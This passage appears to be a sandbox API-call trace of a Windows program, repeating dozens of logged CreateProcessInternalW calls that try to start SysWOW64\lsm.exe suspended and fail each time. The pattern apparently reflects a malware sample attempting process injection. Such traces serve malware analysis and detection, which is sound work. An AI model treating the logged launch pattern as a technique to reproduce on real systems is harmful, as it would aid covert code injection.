dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.350] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.351] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.352] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, 